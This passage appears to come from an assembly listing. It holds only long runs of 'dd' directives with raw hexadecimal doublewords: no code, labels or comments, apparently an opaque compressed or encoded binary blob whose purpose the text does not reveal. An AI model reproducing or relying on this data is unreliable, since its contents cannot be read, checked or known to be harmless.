0A68499E1h, 0CCCF0DACh dd 231381A0h, 900661E4h, 65C4F727h, 75AF438Fh, 1264E35Ch dd 0D223A919h, 40A3D049h, 167B08CBh, 753A1ECEh, 0C0400D0Fh dd 900E0C18h, 0D37BDFDh, 0B46805F8h, 0C3D899A0h, 69B0C601h dd 16215CBFh, 0DB935519h, 0FB4CFB08h, 184B0EE9h, 12770EBDh dd 5205BA4h, 29905BCBh, 671557BFh, 34059670h, 0D97A4598h dd 173B1B48h, 662CB331h, 52872580h, 0B2254C98h, 0E72204B7h dd 802A2914h, 944AB09Ch, 35192CE4h, 90FEA4D7h, 3C09204h dd 0E0B8008Eh, 3A40C504h, 0B244D28Ch, 48A68E67h, 142505FAh dd 575EC6CDh, 41A64018h, 6793330Dh, 6CD1B4Ch, 36C8B936h dd 6263B0Eh, 3A85B390h, 4C3A84CDh, 0A3C64919h, 9C142608h dd 0F608425h, 0C8804FADh, 0F681AF07h, 0E8368076h, 4518CE00h dd 1410AC18h, 0A3764B2Dh, 0BDAC1412h, 128815F3h, 67B00761h dd 44CC465Eh, 942305FAh, 0CDD11EC2h, 0BE59801Ah, 147CCE47h dd 0F7B70420h, 8B1DC9CCh, 804298Dh, 6078A501h, 19115787h dd 0E7E46480h, 9A65AFC3h, 4B00B2FFh, 893CF83Ch, 0E97CBD96h dd 0F8400C66h, 0D9F23BD1h, 0F840F838h, 2F178B7Eh, 0C2079F2h dd 0F840F840h, 0A2407207h, 440B0619h, 92D968F8h, 84F84407h dd 9017D8B3h, 58B780Bh, 84418D5Bh, 96D05E0Dh, 12257A63h dd 0DF21C60Eh, 1374861Ch, 258384DDh, 0BE41CCB1h, 0B4C00AE7h dd 180CE71Dh, 61601ECDh, 2F387594h, 57CCE86h, 708C019Ch dd 56228A8Dh, 7E769E05h, 139C7AC3h, 0A5831736h, 0B6572514h dd 0A04456D0h, 0B39D3B4Dh, 17165C81h, 56236601h, 287BBD98h dd 6820FE4Bh, 85CA615Bh, 917B3734h, 634CD41h, 89832E0Ch dd 97F222Fh, 0B8B3BC06h, 4D75EC31h, 81344217h, 81A22DD2h dd 0A32C2F6Ch, 1AF68095h, 9FB8113Ah, 0F6577236h, 0C61B17BAh dd 5369481Ah, 18C96032h, 3930304Ch, 30207656h, 1611A31Bh dd 97BEAC96h, 0E12E0A16h, 42D2C270h, 6026B5E0h, 508E8409h dd 45605212h, 0A2415D84h, 0FA1F90E0h, 0CC9EA438h, 303374A5h dd 0DF6A8079h, 8047DEA1h, 22DF7303h, 0BF761003h, 20932211h dd 20488052h, 0B0395FEBh, 0FD1AC0E7h, 64FE114Bh, 2D7B21E1h dd 7A3E3975h, 74C3277Fh, 16121456h, 8EE52E1Bh, 5ABA2D7Dh dd 25C0183h, 826CD3D5h, 94158A59h, 0C6C8929Bh, 0C8726E05h dd 46062828h, 201B9E78h, 28A5F828h, 0C90A18D3h, 0D4E2718Eh dd 7B3467C8h, 1CC7FB07h, 4391855h, 5A75728Ah, 8403474h dd 0ECC3F09Bh, 74AB3C24h, 3209FC81h, 27D1E136h, 0FC8A4C8Bh dd 21672CD3h, 8B586D93h, 140E2080h, 6DD96F7Ch, 1B812485h dd 0AF09900Ch, 0AA3A4E4Bh, 0BC31080Bh, 0D1EF0E20h, 6840CC0h dd 426211ABh, 95D3BE24h, 42E5498h, 0BACB99B4h, 1E43EFD1h dd 0A58010BEh, 7068C524h, 95B77DDBh, 85C6373Ch, 0D528011Ch dd 1031CDAh, 10833620h, 0B0764829h, 72EB2409h, 5229753Eh dd 7704FB03h, 0B2DE1061h, 0BB792B1Bh, 1BFF0144h, 95457525h dd 7006C01h, 6443F32Ah, 0BEB2549Eh, 20958942h, 853BC6F8h dd 0FD82D622h, 73077C11h, 27250781h, 68AAF0Fh, 23201010h dd 455F0C05h, 0E0474494h, 740B2E80h, 448D9C13h, 7806B803h dd 0FC0C271Bh, 2469CF88h, 0C50FB461h, 0BC294D92h, 7A7CC6EEh dd 0EA925E06h, 0E41D90Bh, 1AC5E13Ch, 3DD9692Ch, 0F5EC8C18h dd 1A743FC8h, 8DC815E0h, 0C3CE5058h, 0E317EEC4h, 0CDDD8C8h dd 0ADD085C8h, 36C96219h, 0BE117DA1h, 43B03880h, 212AB22h dd 764D5180h, 4B4011F0h, 0D9760624h, 1E501682h, 0BD86244Bh dd 5EE70F3h, 27674B23h, 4B1AD846h, 0C2C9030Eh, 80206385h dd 0D6A1760h, 77848050h, 9518BC36h, 590CEE80h, 9C053496h dd 0B89FA17Ch, 0E98412C8h, 0EE6A949Bh, 33BD9A00h, 670C06EEh dd 0C5DA184Fh, 6A41E910h dd 6C25FF11h, 21349152h, 80842612h, 4CB83EB3h, 62B8231Ch dd 0A8A935CAh, 68A218CBh, 0C51B6008h, 0E9A75BD7h, 0D122CA1Dh dd 0D5B49778h, 0EE937C9Bh, 0B906B4A4h, 82AFA266h, 0FAE08005h dd 0E13EB605h, 1B03829Dh, 187521BAh, 0DE2078D4h, 0A42D4963h dd 5A547B05h, 55041B03h, 6153341Bh, 5FD50AFh, 242D008Ah dd 42D1121Ah, 69EEF70Eh, 8FF8817h, 8069D883h, 776DFB65h dd 0C8E33CEFh, 0F5F8EE28h, 6E43FF7Ch, 0A2FC8D41h, 21146DC8h dd 4A58011Ch, 4496E885h, 851755F2h, 4083662h, 680BFC73h dd 7EED1565h, 6DA4D7EBh, 84153EE4h, 0F0C7326h, 321E8006h dd 0EB283E20h, 734050E4h, 0B8E88515h, 8C809E50h, 22538A11h dd 88BF5019h, 0FEDEEB28h, 81E4F548h, 73023C50h, 15CA01E0h dd 4848DBEFh, 0C175538Ch, 4D3BC6DCh, 40AD5569h, 55754021h dd 40571EE5h, 5EB9EA09h, 11C0EC55h, 413D149Eh, 44DB1EFFh dd 425BA4A7h, 0F82931A0h, 0F500ED04h, 0FF498A27h, 3C36C80Ah dd 92D94721h, 5B046F48h, 2532048h, 0D86C7077h, 62AE4B6h dd 869402Fh, 235C92CBh, 57D695Fh, 0C63B03Bh, 2AECBC33h dd 6FD08708h, 6B808448h, 325AC9Ch, 0F4AB74F3h, 0A82C368Ah dd 188BB23h, 0B2FA6993h, 83FE6FF7h, 0B38830E0h, 2075108Ah dd 2AED812Eh, 3B010CFCh, 29DDDB79h, 1F84DCDEh, 0C1096560h dd 4AE144F9h, 0FECA396h, 26AC10Bh, 81D90D3Ch, 5EEB1D64h dd 0E4210667h, 0F064916Dh, 223FE083h, 7360693Ch, 585CDB78h dd 8A331580h, 25AEB0C2h, 0D32A5C23h, 5DD1B2FCh, 0DB4E6C56h dd 0CB5E41A3h, 11258688h, 0F5589C98h, 502D06D7h, 0E1E8A8FCh dd 0E867591Bh, 0F9008B0h, 780BBF55h, 68F04DCBh, 44EB84h dd 0C056AE2h, 37FF8A26h, 88A5AFCh, 888C1D2h, 0F6754A40h dd 187FCB95h, 3308E151h, 8AC033C9h, 0D0BC1E0Eh, 0F983FA88h dd 1F037261h, 0C1037F80h, 36F6FEEBh, 3A898A85h, 3C0C10Ah dd 35DCEB46h, 1BF825Dh, 35980819h, 84FE8B0Ch, 846FFE49h dd 0AA34AC59h, 10CC002h, 1951E2AAh, 0AC5BA910h, 0B6978D44h dd 0EB74082Eh, 332CF307h, 0A5D81D7Eh, 4499BB68h, 0CB08F9F7h dd 7B0C1004h, 0D56A0B1Bh, 42A2A10h, 10832B11h, 0D0F708F5h dd 886632B7h, 8684D38h, 92D92395h, 0E2C17D87h, 0C2326D02h dd 30DB0211h, 0E80104E4h, 0D9B5C3DDh, 35364B28h, 99D9A765h dd 2F756CAh, 80E442B5h, 79DE330Ch, 90F2D994h, 0B9DDC32Ah dd 178175Dh, 6FDE5E43h, 3E4050A8h, 1508820Ah, 0C28B1788h dd 0B43216F6h, 7E106421h, 37407D0Ch, 479B921Bh, 129B759Bh dd 0C9688871h, 60B8CD32h, 0F2137C10h, 0D5012119h, 0B1D615D0h dd 153B4836h, 88782F1h, 80B155BEh, 0A0B32A38h, 0DD3032C5h dd 0CBC4889h, 31B582FCh, 0E8145A57h, 0CDB2EFE8h, 5DBF93DCh dd 0EA18F2FEh, 0B645930Ch, 772B5F05h, 0CAD872F8h, 2A129926h dd 5B0AD944h, 0C18955EAh, 8B3CC22h, 4BD898C7h, 45237BD0h dd 0ABBF0867h, 209EFCDh, 8FC8FDEh, 98BADCFEh, 3254760Ch dd 0C25DF410h, 62F8D63h, 185D0014h, 59B8840h, 10372453h dd 0D8C1048Dh, 0A23ECE5h, 733B1710h, 0E2AA0A0Dh, 4014EC6Eh dd 0C1261417h, 66961DE8h, 1421FC73h, 4813BF03h, 583003FCh dd 0E84D0615h, 61D47668h, 37188005h, 0EF805840h, 62508A1Dh dd 0C761650h, 0F8673063h, 68E2C06Fh, 0D90B08D4h, 18A4FC15h dd 838503BEh, 1ACAE3BFh, 0F60C4881h, 51663046h, 7240AA10h dd 0AB26035h, 2D38B982h, 4F27CD96h, 0C08338D8h, 40E88340h dd 948C9BEBh, 3584C5BDh, 26FC0C2Dh, 0D39863DBh, 3B0CCD05h dd 6A3E8558h, 6A1780C6h, 0E053DA3Fh, 0D0F8A13Eh, 0BC367308h dd 464E419Ch, 0C66C1BEh, 0C161E00Ch, 1F386ADAh, 14EB2314h dd 0A1F6135Eh, 3950088Eh, 0BEC0BA6Ah, 60D01DFh, 3B3F5050h dd 2DEA9951h, 20E9109Bh, 65A10FB3h, 0D0471DEFh, 6110EB5Bh dd 75165A70h, 101AE4D9h, 6673EA83h, 65B0C463h, 7655021Ch dd 2B03B015h, 41186854h, 9901919h, 18021039h, 9E0C187h dd 0E282EB03h, 9D24B150h, 0B045075Fh, 9F40F2D7h, 8E6620ACh dd 80CD976Bh, 0F46C6D9Ah, 0F0A90C08h, 0E25B4723h, 0D1F7A21Fh dd 0DBF04D23h, 0F2B03E03h, 84FE28A4h, 6AA47801h, 7E054D7h dd 0F6AC0DDCh, 1D19E9C1h, 45231914h, 9E59BDF8h, 0B4F439CFh dd 0C7B756F0h, 0B73677E8h, 39F0598Dh, 1439120Ch, 5F7DF310h dd 2308688Ch, 0F839F0CEh, 0CB378831h, 70DBF4B8h, 0ED032420h dd 396DCD9Dh, 0F391211h, 0A77C2310h, 8F0B382h, 0FC390023h dd 0F73BC26Dh, 0EE39BABCh, 77C1BDCEh, 0B3BC5C39h, 391216B9h dd 0E45E100Ah, 8F65327h, 0FAFC0E7h, 0FC85F57Ch, 2AC42864h dd 0A14787C6h, 0C80C9F90h, 0A8304613h, 93F21432h, 469501CCh dd 864FD0FDh, 98D87E42h, 0AFD46980h, 50C9F9F7h, 0D88B44C8h dd 0FFFF5BB1h, 0A193F21h, 5CD7BEDCh, 27E42889h, 1122E043h dd 850C6B90h, 93E464FCh, 0E8FD9871h, 9F90A193h, 0A679438Eh dd 50D232ECh, 0B40821F2h, 0F065F049h, 6FF21C8h, 1E2562E7h dd 632005F6h, 0F41BC91Ch, 1C8CF47Dh, 40E76FF2h, 9C040B3h dd 0C2320617h, 0F895F891h, 0FF21C8C9h, 5E5A51E7h, 6F120E26h dd 0FC1D6320h, 94E7FC4Dh, 0AAF21C8Ch, 14E9B6C7h, 7E42860Ch dd 105DC472h, 0C9D8D62Fh, 534FC850h, 0EC024414h, 0F90A193Fh dd 0D8A1E681h, 0D3FBC8C0h, 4327E4E7h, 0CDE6D421h, 0FC8521E1h dd 0D6E82864h, 0A1C33707h, 0BC0C9F90h, 0F4D50D87h, 93F21432h dd 5A14EDD0h, 864FE445h, 0E9057E42h, 0F8B8A9E3h, 50C9F9A3h dd 0CCFCEFC8h, 676F02D9h, 0A193F24h, 2A4C8AE0h, 65BEB38Dh dd 3333085Bh, 9480C482h, 42F21C8Ch, 4FFFA39h, 0AD93F21Ch dd 793533D8h, 71F681D0h, 8C94D887h, 33150B1Ch, 9F587235h dd 61228AA4h, 10726D9Dh, 325362D9h, 0CB353310h, 21C8C8E8h dd 0E5380C3Fh, 80917FDh, 0B45327E4h, 0A4BEEA44h, 0E4FC811Ch dd 0DECFA9C0h, 2393CC4Bh, 4B509F90h, 7ED8F6BBh, 70F20472h dd 0E4BEBFBCh, 289B7EC6h, 408E4FC8h, 0A127FAB0h, 0C9F902EAh dd 3085BC11h, 2047D4EFh, 5C8393Fh, 0D404881Dh, 27E408E4h dd 0D9D4D039h, 811C9FE0h, 0DB99E5FCh, 7CF8ECE6h, 2393F2A2h dd 65B81F90h, 0BDC4AC56h, 1150AD5Fh, 3CC80B43h, 197EB0E4h dd 2922446Eh, 0CF0616F4h, 1A64A5F3h, 0CCF8FC38h, 59F90E46h dd 2AFF9715h, 0F5160A43h, 384A5F3Ch, 64E8FCF0h, 149F90E4h dd 0AB9423A7h, 0CF67110Fh, 0F438A5F3h, 39E3C4F0h, 0E4391928h dd 15FC93A0h, 0FC845C0Bh, 59C3E064h, 93BC655Bh, 929F908Bh dd 0D88F0CCCh, 0F211727Eh, 0FFEFF47Dh, 845DD1B4h, 2E4FC885h dd 7E4FD042h, 0F9086FA8h, 0E0EC45C9h, 17FE2CE6h, 0C8B93F21h dd 0A3014314h, 0E422E4E4h, 811A127h, 5C9FC04Eh, 7E82FC84h dd 35DCF753h, 93F23AF2h, 0B8BD908Bh, 2AD7D2BBh, 11727E4Ah dd 86D391D4h, 1AE154EBh, 0B7C2210h, 33380C5Ch, 0F095C327h dd 4E03195h, 80E032Dh, 18CAF048h, 40E0333h, 11C17225h dd 0C9536041h, 0B69177DAh, 0C1014908h, 0E8608E1h, 9640659Eh dd 18031002h, 6F159FCh, 8A04302Ah, 223AA7EBh, 0A6208AE8h dd 6828B6F0h, 37699613h, 0D153D24h, 904A974h, 43243220h dd 0B4B00FF2h, 0D63152B8h, 1C0A4B16h, 5441B32h, 58AA71Ah dd 7EF9E79Eh, 9C30356h, 0C2B4C1B0h, 79EC9926h, 0C727C6B8h dd 90D552C5h, 3646C449h dd 2063D86Ch, 472C2E30h, 521B27BAh, 40CBD3CBh, 7FD3C91Dh dd 0C9BA47BAh, 0D3CA0D56h, 0D3153BCAh, 0BDC803C0h, 256BBC11h dd 0C181C929h, 0C2D3F111h, 0DF672103h, 2F3F1B8Bh, 891D5FB4h dd 33BD0658h, 61A196BCh, 9214AC58h, 0D32B7A74h, 7AAB82DDh dd 0A841D233h, 5D2C08ABh, 214B0A5Eh, 8532761Ch, 214A223Dh dd 40BD51B0h, 18AA0032h, 246B0C40h, 0BBA05E1Fh, 66503548h dd 1E76030Dh, 71B3A819h, 0DDFCAF47h, 0C2B0F54Fh, 0DCEB6718h dd 0E9D0088Ah, 76377EF8h, 0D95D291Ah, 82F88088h, 0E0255415h dd 30150740h, 0F14D8DBDh, 0E154F501h, 19183206h, 0EAE88B3h dd 0C8BD0C02h, 8A4F5006h, 8F227683h, 1BD8580Ah, 12055A1Bh dd 0EB90BF75h, 0F0C92DD8h, 720321C0h, 0B90DC0C0h, 200DD121h dd 0EFF7E2AAh, 70B01566h, 7FF85C43h, 5A3B0E7Eh, 33211D06h dd 4021F321h, 823224EFh, 95488954h, 4DCBD90Ch, 727A5A7Fh dd 1B78300Bh, 0A77C486Ah, 80CEA024h, 715C3EE0h, 59344732h dd 2C6A4412h, 2D021E08h, 4B84CFBh, 8C3C55EFh, 5B232FE4h dd 0B816200Ah, 2B49A819h, 2A0E823Bh, 8014664h, 0F27DCAACh dd 0B0FF00C6h, 0F1FE09C2h, 152F6E28h, 892070DBh, 6C1EF091h dd 83697546h, 0FB0D8CA5h, 8B0767CCh, 0FC8CFC8Ch, 785A6805h dd 7DB40603h, 168DCC1Ah, 3451DFCh, 0CDEB9C34h, 0A0680A6Ah dd 7A22C0A8h, 0C83DCF10h, 824006D8h, 328A15F0h, 44F6324h dd 8E2BE868h, 436321ECh, 15E4C632h, 8C81F4CAh, 94680B3Ch dd 3E6B8CEh, 473C0060h, 0BD3AD2CEh, 88C305E7h, 68182733h dd 660D85FCh, 8010BB01h, 1534F48Ch, 2B6C7ECAh, 6A0889DAh dd 0A8186844h, 7B2B92Bh, 6A204439h, 2A665490h, 20019079h dd 19AC6804h, 46C9908h, 9BD8E02Bh, 0DC081902h, 1E4AD858h dd 545828ECh, 3BB46806h, 699064Ah, 94D50808h, 0BC2640ADh dd 4C8118A9h, 71C40472h, 4002C591h, 7A410358h, 2F608B0Ch dd 721D6072h, 3461641Bh, 0DE68FC90h, 513B7250h, 5FC9433h dd 0E4A9B027h, 680AC3C1h, 0D92B0ACCh, 32792A64h, 0E326068h dd 0B721836Dh, 28F4940Bh, 8ACADA18h, 0F49CCF9Dh, 0B23EE488h dd 0B54072C2h, 320AAF2Dh, 4C86B456h, 0C2872139h, 0F4FDFCBEh dd 1FBF02FDh, 0FFFDF4F2h, 2C89685Ah, 6B5BAF50h, 1053BE74h dd 73064427h, 43B9C7h, 5CB58C03h, 3F833C91h, 68DEDCA8h dd 88F92230h, 52C04FB0h, 206CA1D0h, 0BA415088h, 380F8E47h dd 0B1B6447Bh, 0B1303EEFh, 0DB606A59h, 6C8A67C9h, 0CA0D6B1h dd 0BC4BE8B2h, 547CD40h, 0BF1B850Fh, 95AAF6A2h, 10E4BCDh dd 2DF880F1h, 0B2B05C86h, 8D0E1043h, 0DA78A281h, 0B903E3F5h dd 0F50EFD40h, 1264B800h, 0A33D3645h, 60C0032Bh, 7EFDF43Fh dd 269BA0CFh, 103A5C75h, 0F77258B4h, 4B7C8C81h, 4F7E0815h dd 0A23204C8h, 386820AEh, 9E40F073h, 6A68D2B3h, 88E5C47Ch dd 8E28D256h, 462C2B09h, 882A244Ch, 40A1438h, 4C2E4326h dd 4133266h, 0C200C931h, 5CC1F903h, 0EFB4FDB3h, 0B91303E8h dd 311A16E0h, 3A512490h, 4AEE66F0h, 83226606h, 12E41C2Dh dd 84FF41C9h, 10F484F4h, 6EF4CFEh, 7D100564h, 0ECB10D1Fh dd 6C1C5E1Dh, 1B2D3B41h, 16E66869h, 0A31762E4h, 0FCD33D94h dd 0F1A9CEh, 68A0F80h, 2038A210h, 0F4B2BDA0h, 0D0521E73h dd 3DC3E02Ch, 0BC05C06Bh, 0B0536146h, 0EB31BBF4h, 5B4032D3h dd 29DDC049h, 35757F3Dh, 4BC13D3Ah, 0F805A4A6h, 20294EEBh dd 0F48258DFh, 0C16C4269h, 0F061AC76h, 1032F07Bh, 0E9BB2A23h dd 3C4B2D92h, 4815D4C9h, 564D8CF4h, 0CEB60230h, 808B5181h dd 4F1998A3h, 98083273h, 0FDFC89CCh, 3C50EF01h, 3808DE05h dd 9019F110h, 21350101h, 0A0F11024h, 2E0C1F9Ch, 13BCAA21h dd 119B3B93h, 8B3293C5h, 1AAD4F21h, 6D0C6E10h, 17AA016Fh dd 193F0E54h, 27212Fh, 7026EFEh, 1AB365C1h, 3EBBB51h, 0F0C8763Bh dd 1C740B3Bh, 22045573h, 209F5C66h, 0BDD9721h, 1D81EB1Dh dd 517E5489h, 58C94FAFh, 62E4B405h, 0E5705751h, 1E49B2C6h dd 0FAE87D16h, 0F7E40E0Ch, 0D57D51Eh, 0D3FEF49Dh, 78B5559Ch dd 199F3FFCh, 1AFDC82Ch, 6DED17ECh, 8D32AAC4h, 0CC26E8CDh dd 530BC202h, 67E0C93h, 0FAD54C9h, 5E07D484h, 36C84C23h dd 13D8FC75h, 3BC155E0h, 9052F45h, 80F93E00h, 901FAE0h dd 6884EDB6h, 0D5AC06E6h, 0C4D6AA3Dh, 37D8BB19h, 2B8312D8h dd 63D8723h, 0E4E42667h, 3A839EF6h, 2ECD0823h, 5B5E88Bh dd 0F0B04F9Bh, 5104101Eh, 0B9262805h, 0C6A00951h, 9158F48h dd 986861CFh, 6D05D6Dh, 5CC8B0E4h, 41A34B8Ch, 53EC64A8h dd 0AD93845Fh, 73AE0E0Ah, 7203D8E8h, 41787360h, 20C97068h dd 64043613h, 4C805C55h, 485410C8h, 43213201h, 0C804343Ch dd 20280C84h, 325A54CAh, 93655114h, 2728C9B3h, 0C006D4h dd 0C49393D5h, 0A1FAD0C8h, 74D9B218h, 0FAE4C600h, 0BA4190D2h dd 0C4072F59h, 0EF9F25C8h, 8A503259h, 0FEFC01B6h, 0EC443A20h dd 3A6E8B1Ch, 0F7EFC550h, 0E181833Eh, 65C10B0Eh, 478AB544h dd 84027C03h, 3410AAAFh, 80D38102h, 0AEC5F41Ch, 0FAC1CE1Eh dd 0FAB82BCEh, 1420005h, 0F545639h, 0D852FAB8h, 0FAB8C939h dd 6023FABCh, 95A2AE7Fh, 0C5E86823h, 851C81C6h, 2ADC104Ch dd 71E6C245h, 20C5D401h, 2B308212h, 32AC7231h, 0D448702h dd 1B45AB4h, 0B41C8084h, 9299093Ch, 0ACACAC91h, 90193614h dd 7B23B0ACh, 3C856216h, 60B04161h, 0E421C9E7h, 0FAB41402h dd 6CBB6122h, 5852890Dh, 84C81E2Fh, 0DD4C89B0h, 2C246100h dd 28D8824Ah, 2B74421Bh, 43B2C159h, 0EC35102Eh, 8216EBD8h dd 74408599h, 0A85866A8h, 79F01021h, 2AC52048h, 228B01F6h dd 0EB53EBCCh, 0AB46F551h, 74141C97h, 6C7B723Ch, 4503645h dd 34410D3Bh, 5FBAB105h, 21D0F410h, 325704DFh, 20684F14h dd 0B60BBCCAh, 80A0812Dh, 0D60AD360h, 35F20912h, 50AB9930h dd 486B763Ah, 0EC9B118Ah, 74C7288Ch, 0CB1DCC60h, 0EF09011Ch dd 0B08D90Dh, 9B7CC97Bh, 61139532h, 95985807h, 1A0F02C8h dd 145A6424h, 0BCD90B98h, 5C9C7C9Bh, 0EE6A21D8h, 8323B899h dd 896995A2h, 0C88881A4h, 5A8AA76Eh, 0E22F5148h, 6F485150h dd 0A5C154A0h, 6A9F328Bh, 14186B0Ah, 14F8968Dh, 3608B262h dd 0C76F129Eh, 4081E279h, 6574B044h, 0AC1EFABh, 50A0186h dd 6B3149A2h, 0F604057Dh, 6651C513h, 0F03BB00Dh, 476D383Ch dd 2C441229h, 0A9EC8A84h, 0F6091F61h, 58510D01h, 0D852229Eh dd 29F98FC3h, 0C3C5074h, 0EFC6DC19h, 0A4D98844h, 0D9808A80h dd 168337C8h, 82B38BCh, 0AB657F80h, 6808220Bh, 9B41113Bh dd 0F60B2ECDh, 6482150Ch, 315166DBh, 53A7019Fh, 0C4408521h dd 0ED057F7Bh, 0B80B3ECEh, 1E510E5Dh, 201CF732h, 4CA4F015h dd 204A3690h, 0C71094E2h, 54BC8424h, 1D599EC0h, 730CBC41h dd 0DAC89ABh, 9FCA809h, 0E38062A1h, 14464C3Eh, 0A853FF9Dh dd 75E00BFCh, 0E6ED1342h, 1518E417h, 0FE508421h, 27362A30h dd 456AFE50h, 25800961h, 25FE52F0h, 2AFD04B3h, 607B5438h dd 2F4506FEh, 0BB0B2B59h, 1D8A08BDh, 282E87B5h, 63AC161Ah dd 48901461h, 0A4BE3360h, 1565E49h, 1F75FD04h, 0C3998030h dd 8B3E3043h, 0E3F3E404h, 0C7883729h, 0B65CFCACh, 0F47F49E4h dd 22720DFEh, 0B83B5918h, 3484201Eh, 73FC3C10h, 0E5123764h dd 0A015688Ah dd 4E0B0609h, 98A4063Ah, 4403988Dh, 0C0645EFh, 73E6C95Fh dd 98F4A464h, 0F8F4A8F4h, 0B44036FEh, 0A45F262Ch, 0CD9F36F4h dd 0F8F49849h, 0A4F4A8FEh, 92F510F4h, 94F4A47Ch, 9BE88041h dd 5F50165Ch, 13705536h, 39B8E37h, 5EF27C9Eh, 81440677h dd 0E1B90E90h, 3B27636h, 8DF2919Eh, 38065026h, 80CE08ACh dd 40E86400h, 58C140E6h, 8390F17Dh, 0F494106Ch, 620FF494h dd 0AC5C820Fh, 387A30E2h, 74C29F61h, 1844650Eh, 1EF74E01h dd 7841B6E6h, 0F2740B62h, 82F611D7h, 4040EF7Ch, 7740D19h dd 5582F17Bh, 0B7005BDh, 453B16ACh, 0CDA31BB4h, 51466C24h dd 0DAF6112Eh, 24295009h, 36D5D616h, 6A4FB987h, 216C6813h dd 7CEB50D0h, 32BC3A88h, 24A58000h, 50F6C9CDh, 0D031E64h dd 81019392h, 29782CBCh, 57F294BDh, 70DEC2ECh, 148B73B2h dd 76061B10h, 7D9012B6h, 6CB41336h, 0C7203207h, 6CB70F04h dd 8ADDC166h, 0B80E6685h, 5C670B60h, 688CCC2Dh, 3F6377A5h dd 0F614F001h, 2D8A2F75h, 0F3C8CE04h, 603501B0h, 0D6892F2h dd 12D917ECh, 26EBD368h, 0DEC0DC20h, 73A199Bh, 708C6227h dd 0B526F573h, 8A688D09h, 0CFB1D208h, 0E664C234h, 50091B64h dd 10AE406Dh, 5B6C2F56h, 6C390A55h, 4D566C22h, 9CF29E56h dd 8BE43B72h, 82EC666Ch, 5684118Ah, 0B0C60558h, 0E068FA80h dd 475F00EBh, 5CC8BEC7h, 74233B05h, 9EDC1A58h, 0CCE4496Dh dd 84721054h, 3A28B0F2h, 0E4861CF3h, 8D9C0BEh, 54A60E16h dd 2D1D921Ch, 3039C7B1h, 0AF22EBC7h, 7A647C90h, 0B6246809h dd 64A4C25h, 0A13B4189h, 0F7A95615h, 8E4ECF4h, 82510E0Ch dd 923C56B0h, 5151C521h, 0C5653CE0h, 14B73A00h, 0F402373h dd 186D4548h, 2915C133h, 7760388h, 558FDA81h, 0CEEB0613h dd 3FACB7EBh, 0C11F542h, 0D855F05Ch, 111A05E2h, 0B7507501h dd 0EA13C40Ch, 0AB73510Ah, 417D915h, 0F6C45AFh, 41024A27h dd 0F7C9646Eh, 95EE9144h, 968F7086h, 0FBB9880Ah, 0ACF09E46h dd 55983FF8h, 0C9427502h, 0C6A48641h, 0B0C89CC6h, 894D9727h dd 48EBC04Ah, 0F6039297h, 947CA9D0h, 4A41C7E8h, 8D86992Eh dd 5831260h, 0A24114D6h, 0EA2F0507h, 8824B7FEh, 0E18E396h dd 8209FC1Ah, 1B66F0EFh, 8BF836F8h, 2DB1C4Dh, 1C3EE106h dd 0B5CF1CDEh, 17077330h, 0E466601Ah, 0DC02C41Ch, 4D1C9457h dd 0B1BB2DCEh, 0FC3DCE68h, 189C14A1h, 4082C3Dh, 1C6A3A6Dh dd 4AC643F6h, 0A1F0C32Ch, 0F441CB98h, 352213BDh, 0A3E12810h dd 5B822114h, 2241B07h, 6DBD6A20h, 51DF1C2Ch, 0D4FDDA44h dd 0D607223h, 4B33ECC1h, 53E424E4h, 0E0020C71h, 72C48BADh dd 89F632F7h, 0E4080348h, 6E95A009h, 66F44588h, 5D775B78h dd 0A2028A09h, 0DD4A5F14h, 26DB365h, 0D36FC1ECh, 92988A3Fh dd 0F44DFAA0h, 5D124888h, 7116A8ECh, 680C5000h, 103854C3h dd 41E887F9h, 3A96E0D0h, 0C91FA2DCh, 248AA12Ch, 70169278h dd 6C605B3Eh, 2B2E70A5h, 1106F154h, 1789AD9Bh, 9856F6Bh dd 0B90C0664h, 0E7AA2BD9h, 12CD196Ch, 8AA164BEh, 68B5F0AAh dd 0C5F5207Ch, 0CA18CBA7h, 0AAC87487h, 0B260A846h, 0B7BD591Ch dd 252A1B2Ch, 6283B73h, 9C4CAF0Bh, 6E71EC3Dh, 0ED9B5CBBh dd 0C70C00BAh, 0ABC5F905h, 714E7F66h, 58A2FDF4h, 0F6FFD002h dd 5DC9E022h, 6184840Fh, 75B90117h, 0CDB0FF4Eh, 0E40DFDD4h dd 0A01F6139h, 1ECAB4CBh, 0DE2E96AAh, 26D90CB4h, 0DB205EACh dd 7AF0A80Ch, 0D40563B6h, 0F0C6F517h, 84F25874h, 0EB6915C6h dd 3D7AED10h, 6A00A8CDh, 3903254Bh, 2FB8B819h, 2001FDF8h dd 0EE35837h, 0E10B8221h, 2B172639h, 689D4628h, 0B9EBC419h dd 0C41546Ah, 14DC1159h, 0B3A28104h, 913F047Ah, 45701015h dd 7D9FF405h, 3A5A8597h, 52C9CDAEh, 0A6808B0Eh, 30229ACFh dd 5103F79h, 3EC05480h, 3A530F72h, 0A249010Fh, 66748B1Eh dd 0B909A83Bh, 0C5013A6h, 3ACC13DEh, 0C07B9838h, 92A7FA01h dd 2ADC91C1h, 85869850h, 4A554269h, 9880F0E5h, 3076E840h dd 0CE5432AAh, 8D9EB75h, 0FCC10D96h, 0C2E1850h, 0D0D5146Eh dd 0F618A3A1h, 0F62A12D9h, 591C17A2h, 1AA405B9h, 6FB879ABh dd 92F6C81Ch, 0CB0CAB0Eh, 0BA93C8F7h, 3681EC1h, 0FDF43202h dd 802C868h, 9C043CF9h, 1B27C700h, 660CCBC3h, 8F80C387h dd 17FAF2D9h, 0B39DF60h, 0FF05B498h, 0B4B213Bh, 73820DB3h dd 9D8EB005h, 6B0C9BDh, 73383B0Ch, 3D463B1Ch, 5770DF5h dd 46FDDE2Eh, 0FD6B15Ch, 6AC9EBC1h, 0C69E2592h, 528ED80Bh dd 0F4BB50FDh, 5161D881h, 1687906Fh, 0EC20D9E5h, 9B1A4F16h dd 0CCCCC40h, 34FAF086h, 0CFCD1468h, 0A2E9313Ah, 0C619F1C8h dd 3A0C1CC3h, 1231D08h, 85C8EBDh, 0A40F1408h, 0DFE33F94h dd 0A972D237h, 3CF7ACC7h, 0F909B0FEh, 63A4E70h, 0A406A4F0h dd 0BD144DF7h, 730C0617h, 9F3483F0h, 0F4F7A427h, 78A4F8F7h dd 0F79A4E4Bh, 0F219F0F0h, 1864542Ch, 64F0F4D8h, 0F0320F90h dd 0AC858D89h, 463A4F0h, 7401B524h, 27B11EA4h, 461DF4C1h dd 3610Dh, 1908CF1Dh, 7EA8D315h, 0CDB275C0h, 2E0B75A8h dd 0A85A79EBh, 2700C5EFh, 0D84A2C1Ah, 622B2580h, 0A535127h dd 7421D81Ch, 207F3917h, 7D11B30Dh, 0FC7D47F8h, 